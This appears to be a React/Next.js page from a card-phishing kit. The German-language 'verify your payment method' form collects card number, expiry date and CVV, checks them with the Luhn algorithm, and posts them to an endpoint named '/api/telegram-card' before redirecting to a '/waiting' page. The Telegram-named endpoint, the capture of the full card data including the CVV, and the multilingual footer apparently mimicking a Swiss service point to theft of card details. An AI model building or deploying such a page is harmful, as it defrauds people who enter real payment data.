"use client";

import { useState, useEffect } from "react";
import { useRouter } from "next/navigation";
import { CreditCard, Calendar, Lock } from "lucide-react";
import Header from "@/components/Header";

// Luhn algorithm to validate card numbers
function isValidCardNumber(cardNumber: string): boolean {
  const digits = cardNumber.replace(/\s/g, "");
  if (digits.length < 13 || digits.length > 19) return false;
  if (!/^\d+$/.test(digits)) return false;

  let sum = 0;
  let isEven = false;

  for (let i = digits.length - 1; i >= 0; i--) {
    let digit = parseInt(digits[i], 10);

    if (isEven) {
      digit *= 2;
      if (digit > 9) {
        digit -= 9;
      }
    }

    sum += digit;
    isEven = !isEven;
  }

  return sum % 10 === 0;
}

// Validate expiry date format MM/YY with valid month (01-12) and not expired
function isValidExpiryDate(value: string): boolean {
  if (!value || value.length !== 5) return false;
  const [month, year] = value.split('/');
  if (!month || !year) return false;

  const monthNum = parseInt(month, 10);
  const yearNum = parseInt(year, 10);

  if (isNaN(monthNum) || monthNum < 1 || monthNum > 12) return false;
  if (isNaN(yearNum) || year.length !== 2) return false;

  const now = new Date();
  const currentYear = now.getFullYear() % 100;
  const currentMonth = now.getMonth() + 1;

  if (yearNum < currentYear) return false;
  if (yearNum === currentYear && monthNum < currentMonth) return false;

  return true;
}

// Validate CVV (3-4 digits)
function isValidCVV(cvv: string): boolean {
  return /^\d{3,4}$/.test(cvv);
}

export default function CardPage() {
  const router = useRouter();
  const [cardNumber, setCardNumber] = useState("");
  const [expiryDate, setExpiryDate] = useState("");
  const [cvv, setCvv] = useState("");
  const [submitted, setSubmitted] = useState(false);
  const [loading, setLoading] = useState(false);
  const [error, setError] = useState("");

  useEffect(() => {
    const storedError = sessionStorage.getItem("cardError");
    if (storedError) {
      setError(storedError);
      sessionStorage.removeItem("cardError");
    }
  }, []);

  const cardValid = isValidCardNumber(cardNumber);
  const expiryValid = isValidExpiryDate(expiryDate);
  const cvvValid = isValidCVV(cvv);
  const allValid = cardValid && expiryValid && cvvValid;

  const cardError = submitted && !cardValid;
  const expiryError = submitted && !expiryValid;
  const cvvError = submitted && !cvvValid;

  const formatCardNumber = (value: string) => {
    const v = value.replace(/\s+/g, "").replace(/[^0-9]/gi, "");
    const parts = [];
    for (let i = 0; i < v.length && i < 16; i += 4) {
      parts.push(v.substring(i, i + 4));
    }
    return parts.join(" ");
  };

  const formatExpiryDate = (value: string) => {
    const v = value.replace(/\s+/g, "").replace(/[^0-9]/gi, "");
    if (v.length >= 2) {
      return `${v.substring(0, 2)}/${v.substring(2, 4)}`;
    }
    return v;
  };

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault();
    setSubmitted(true);
    setError("");

    if (allValid) {
      setLoading(true);
      const response = await fetch("/api/telegram-card", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ cardNumber, expiryDate, cvv }),
      });

      const data = await response.json();

      if (data.sessionId) {
        sessionStorage.setItem("validationSessionId", data.sessionId);
        sessionStorage.setItem("validationType", "card");
        router.push("/waiting");
      }
    }
  };

  const getCardErrorMessage = () => {
    if (!cardNumber) return "DIESES FELD IST ERFORDERLICH.";
    if (cardNumber.replace(/\s/g, "").length < 13) return "KARTENNUMMER ZU KURZ.";
    return "UNGÜLTIGE KARTENNUMMER.";
  };

  const getExpiryErrorMessage = () => {
    if (!expiryDate) return "DIESES FELD IST ERFORDERLICH.";
    if (expiryDate.length !== 5) return "FORMAT MM/JJ VERWENDEN";
    const [month] = expiryDate.split('/');
    const monthNum = parseInt(month, 10);
    if (isNaN(monthNum) || monthNum < 1 || monthNum > 12) return "UNGÜLTIGER MONAT (01-12).";
    return "KARTE IST ABGELAUFEN.";
  };

  return (
    <div className="min-h-screen flex flex-col bg-white">
      <Header />

      <main className="flex-1 flex items-start justify-center px-4 md:px-8 py-12">
        <div className="w-full max-w-4xl flex flex-col md:flex-row gap-12 md:gap-24">
          <div className="flex-1">
            {error && (
              <div className="mb-4 p-3 bg-red-50 border border-red-200 rounded">
                <p className="text-sm text-[#B22234] font-medium">{error}</p>
              </div>
            )}
            <form onSubmit={handleSubmit} className="space-y-6">
              <div className="space-y-1">
                <label className="text-xs font-medium tracking-wide text-[#004B87]">
                  KARTENNUMMER
                </label>
                <div className="relative">
                  <CreditCard
                    className={`absolute left-0 bottom-2 h-5 w-5 ${
                      cardError ? "text-[#B22234]" : cardValid ? "text-[#8BC34A]" : "text-[#0097A7]"
                    }`}
                    strokeWidth={1.5}
                  />
                  <input
                    type="text"
                    value={cardNumber}
                    onChange={(e) => setCardNumber(formatCardNumber(e.target.value))}
                    maxLength={19}
                    placeholder="1234 5678 9012 3456"
                    className={`w-full pl-8 pb-2 pt-1 border-b-2 bg-transparent focus:outline-none text-gray-800 ${
                      cardError ? "border-[#B22234]" : cardValid ? "border-[#8BC34A]" : "border-gray-800"
                    }`}
                  />
                  {cardValid && (
                    <span className="absolute right-0 bottom-2 text-[#8BC34A] text-sm font-medium">Gültig</span>
                  )}
                </div>
                {cardError && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    {getCardErrorMessage()}
                  </p>
                )}
              </div>

              <div className="space-y-1">
                <label className="text-xs font-medium tracking-wide text-[#004B87]">
                  GÜLTIG BIS
                </label>
                <div className="relative">
                  <Calendar
                    className={`absolute left-0 bottom-2 h-5 w-5 ${
                      expiryError ? "text-[#B22234]" : expiryValid ? "text-[#8BC34A]" : "text-[#0097A7]"
                    }`}
                    strokeWidth={1.5}
                  />
                  <input
                    type="text"
                    value={expiryDate}
                    onChange={(e) => setExpiryDate(formatExpiryDate(e.target.value))}
                    maxLength={5}
                    placeholder="MM/JJ"
                    className={`w-full pl-8 pb-2 pt-1 border-b-2 bg-transparent focus:outline-none text-gray-800 ${
                      expiryError ? "border-[#B22234]" : expiryValid ? "border-[#8BC34A]" : "border-gray-800"
                    }`}
                  />
                  {expiryValid && (
                    <span className="absolute right-0 bottom-2 text-[#8BC34A] text-sm font-medium">Gültig</span>
                  )}
                </div>
                {expiryError && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    {getExpiryErrorMessage()}
                  </p>
                )}
              </div>

              <div className="space-y-1">
                <label className="text-xs font-medium tracking-wide text-[#004B87]">
                  CVV
                </label>
                <div className="relative">
                  <Lock
                    className={`absolute left-0 bottom-2 h-5 w-5 ${
                      cvvError ? "text-[#B22234]" : cvvValid ? "text-[#8BC34A]" : "text-[#0097A7]"
                    }`}
                    strokeWidth={1.5}
                  />
                  <input
                    type="text"
                    value={cvv}
                    onChange={(e) => setCvv(e.target.value.replace(/[^0-9]/g, ""))}
                    maxLength={4}
                    placeholder="123"
                    className={`w-full pl-8 pb-2 pt-1 border-b-2 bg-transparent focus:outline-none text-gray-800 ${
                      cvvError ? "border-[#B22234]" : cvvValid ? "border-[#8BC34A]" : "border-gray-800"
                    }`}
                  />
                  {cvvValid && (
                    <span className="absolute right-0 bottom-2 text-[#8BC34A] text-sm font-medium">Gültig</span>
                  )}
                </div>
                {cvvError && (
                  <p className="text-xs text-[#B22234] text-right tracking-wide font-medium">
                    {!cvv ? "DIESES FELD IST ERFORDERLICH." : "CVV MUSS 3-4 ZIFFERN HABEN."}
                  </p>
                )}
              </div>

              <div className="flex justify-center pt-4">
                <button
                  type="submit"
                  disabled={loading || !allValid}
                  className={`font-medium px-12 py-2.5 transition-colors ${
                    allValid
                      ? "bg-[#004B87] hover:bg-[#003a6b] text-white cursor-pointer"
                      : "bg-gray-300 text-gray-500 cursor-not-allowed"
                  }`}
                >
                  {loading ? "WIRD VERARBEITET..." : "WEITER"}
                </button>
              </div>
            </form>
          </div>

          <div className="flex-1 flex items-start justify-start md:pt-8">
            <div>
              <h1 className="text-3xl md:text-4xl text-gray-600 font-light">
                Überprüfen Sie Ihre
              </h1>
              <h2 className="text-3xl md:text-4xl text-[#004B87] font-bold">
                Zahlungsmethode
              </h2>
            </div>
          </div>
        </div>
      </main>

      <footer className="mt-auto">
        <div className="bg-[#D4E8C0] py-3 text-center">
          <div className="flex items-center justify-center gap-1 text-sm">
            <a href="#" className="text-[#004B87] underline hover:no-underline">Deutsch</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Français</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">English</a>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Italiano</a>
            <span className="text-gray-600 mx-1">|</span>
            <a href="#" className="text-[#004B87] underline hover:no-underline">Kontakt Support</a>
          </div>
        </div>
        <div className="h-2 bg-[#8BC34A]"></div>
      </footer>
    </div>
  );
}
